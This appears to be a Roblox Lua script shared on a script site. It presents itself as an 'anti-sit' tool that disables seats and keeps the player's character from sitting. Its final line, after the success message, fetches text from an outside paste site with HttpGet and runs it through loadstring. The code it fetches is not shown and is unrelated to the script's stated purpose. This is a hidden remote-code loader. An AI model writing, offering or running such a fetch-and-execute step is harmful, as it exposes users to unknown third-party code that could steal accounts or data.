local Workspace = game:GetService("Workspace")
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local function neutralizarAsiento(asiento)
if asiento:IsA("Seat") or asiento:IsA("VehicleSeat") then
asiento.Disabled = true
asiento.CanTouch = false
asiento:SetAttribute("Neutralizado", true)
end
end
for _, objeto in ipairs(Workspace:GetDescendants()) do
neutralizarAsiento(objeto)
end
Workspace.DescendantAdded:Connect(function(obj)
if obj:IsA("Seat") or obj:IsA("VehicleSeat") then
task.wait(0.1)
neutralizarAsiento(obj)
end
end)
player.CharacterAdded:Connect(function(char)
local humanoid = char:WaitForChild("Humanoid")
humanoid:GetPropertyChangedSignal("Sit"):Connect(function()
if humanoid.Sit then
humanoid.Sit = false
end
end)
end)
print("Anti-sit is working.... Men.. I hate that chair...")
loadstring(game:HttpGet('https://paste.myconan.net/573222.txt'))()
Comments
No comments yet
Be the first to share your thoughts!